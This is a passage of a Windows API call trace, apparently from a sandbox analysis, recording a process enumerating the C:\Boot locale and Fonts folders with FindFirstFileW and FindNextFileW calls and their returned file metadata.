[0207.808] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x5dbd78 [0207.808] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\*", lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x599090 [0208.167] FindNextFileW (in: hFindFile=0x599090, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0208.214] FindNextFileW (in: hFindFile=0x599090, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0208.215] FindNextFileW (in: hFindFile=0x599090, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0208.215] FindClose (in: hFindFile=0x599090 | out: hFindFile=0x599090) returned 1 [0208.215] GetProcessHeap () returned 0x560000 [0208.215] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5dbd78 | out: hHeap=0x560000) returned 1 [0208.222] FindNextFileW (in: hFindFile=0x599168, lpFindFileData=0x2cff4c0 | out: lpFindFileData=0x2cff4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0208.222] GetProcessHeap () returned 0x560000 [0208.222] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x5dbd78 [0208.223] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\da-DK\\*", lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x599090 [0208.224] FindNextFileW (in: hFindFile=0x599090, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0208.224] FindNextFileW (in: hFindFile=0x599090, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0208.225] FindNextFileW (in: hFindFile=0x599090, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0208.225] FindClose (in: hFindFile=0x599090 | out: hFindFile=0x599090) returned 1 [0208.225] GetProcessHeap () returned 0x560000 [0208.225] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5dbd78 | out: hHeap=0x560000) returned 1 [0208.227] FindNextFileW (in: hFindFile=0x599168, lpFindFileData=0x2cff4c0 | out: lpFindFileData=0x2cff4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0208.227] GetProcessHeap () returned 0x560000 [0208.227] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x5dbd78 [0208.227] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\de-DE\\*", lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x599090 [0208.231] FindNextFileW (in: hFindFile=0x599090, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0208.231] FindNextFileW (in: hFindFile=0x599090, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0208.232] FindNextFileW (in: hFindFile=0x599090, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0208.232] FindClose (in: hFindFile=0x599090 | out: hFindFile=0x599090) returned 1 [0208.232] GetProcessHeap () returned 0x560000 [0208.232] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5dbd78 | out: hHeap=0x560000) returned 1 [0208.233] FindNextFileW (in: hFindFile=0x599168, lpFindFileData=0x2cff4c0 | out: lpFindFileData=0x2cff4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0208.233] GetProcessHeap () returned 0x560000 [0208.234] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x5dbd78 [0208.234] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\el-GR\\*", lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x599090 [0208.235] FindNextFileW (in: hFindFile=0x599090, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0208.236] FindNextFileW (in: hFindFile=0x599090, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0208.236] FindNextFileW (in: hFindFile=0x599090, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0208.236] FindClose (in: hFindFile=0x599090 | out: hFindFile=0x599090) returned 1 [0208.236] GetProcessHeap () returned 0x560000 [0208.236] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5dbd78 | out: hHeap=0x560000) returned 1 [0208.237] FindNextFileW (in: hFindFile=0x599168, lpFindFileData=0x2cff4c0 | out: lpFindFileData=0x2cff4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0208.237] GetProcessHeap () returned 0x560000 [0208.238] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x5dbd78 [0208.238] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\en-US\\*", lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x599090 [0208.249] FindNextFileW (in: hFindFile=0x599090, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0208.250] FindNextFileW (in: hFindFile=0x599090, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0208.250] FindNextFileW (in: hFindFile=0x599090, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0208.250] FindNextFileW (in: hFindFile=0x599090, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0208.251] FindClose (in: hFindFile=0x599090 | out: hFindFile=0x599090) returned 1 [0208.251] GetProcessHeap () returned 0x560000 [0208.251] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5dbd78 | out: hHeap=0x560000) returned 1 [0208.252] FindNextFileW (in: hFindFile=0x599168, lpFindFileData=0x2cff4c0 | out: lpFindFileData=0x2cff4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0208.252] GetProcessHeap () returned 0x560000 [0208.252] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x5dbd78 [0208.253] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\es-ES\\*", lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5971e0 [0208.271] FindNextFileW (in: hFindFile=0x5971e0, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0208.272] FindNextFileW (in: hFindFile=0x5971e0, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0208.272] FindNextFileW (in: hFindFile=0x5971e0, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0208.272] FindClose (in: hFindFile=0x5971e0 | out: hFindFile=0x5971e0) returned 1 [0208.273] GetProcessHeap () returned 0x560000 [0208.273] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5dbd78 | out: hHeap=0x560000) returned 1 [0208.273] FindNextFileW (in: hFindFile=0x599168, lpFindFileData=0x2cff4c0 | out: lpFindFileData=0x2cff4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0208.273] GetProcessHeap () returned 0x560000 [0208.273] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x5dbd78 [0208.273] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\fi-FI\\*", lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5971e0 [0208.274] FindNextFileW (in: hFindFile=0x5971e0, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0208.274] FindNextFileW (in: hFindFile=0x5971e0, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0208.274] FindNextFileW (in: hFindFile=0x5971e0, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0208.274] FindClose (in: hFindFile=0x5971e0 | out: hFindFile=0x5971e0) returned 1 [0208.275] GetProcessHeap () returned 0x560000 [0208.275] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5dbd78 | out: hHeap=0x560000) returned 1 [0208.275] FindNextFileW (in: hFindFile=0x599168, lpFindFileData=0x2cff4c0 | out: lpFindFileData=0x2cff4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0208.275] GetProcessHeap () returned 0x560000 [0208.275] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x5dbd78 [0208.275] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\Fonts\\*", lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5971e0 [0208.278] FindNextFileW (in: hFindFile=0x5971e0, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0208.278] FindNextFileW (in: hFindFile=0x5971e0, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0208.278] FindNextFileW (in: hFindFile=0x5971e0, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac191e00, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac191e00, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0208.278] FindNextFileW (in: hFindFile=0x5971e0, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac204220, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac204220, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0208.279] FindNextFileW (in: hFindFile=0x5971e0, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac22a380, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac22a380, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0208.279] FindNextFileW (in: hFindFile=0x5971e0, lpFindFileData=0x2cff238 | out: 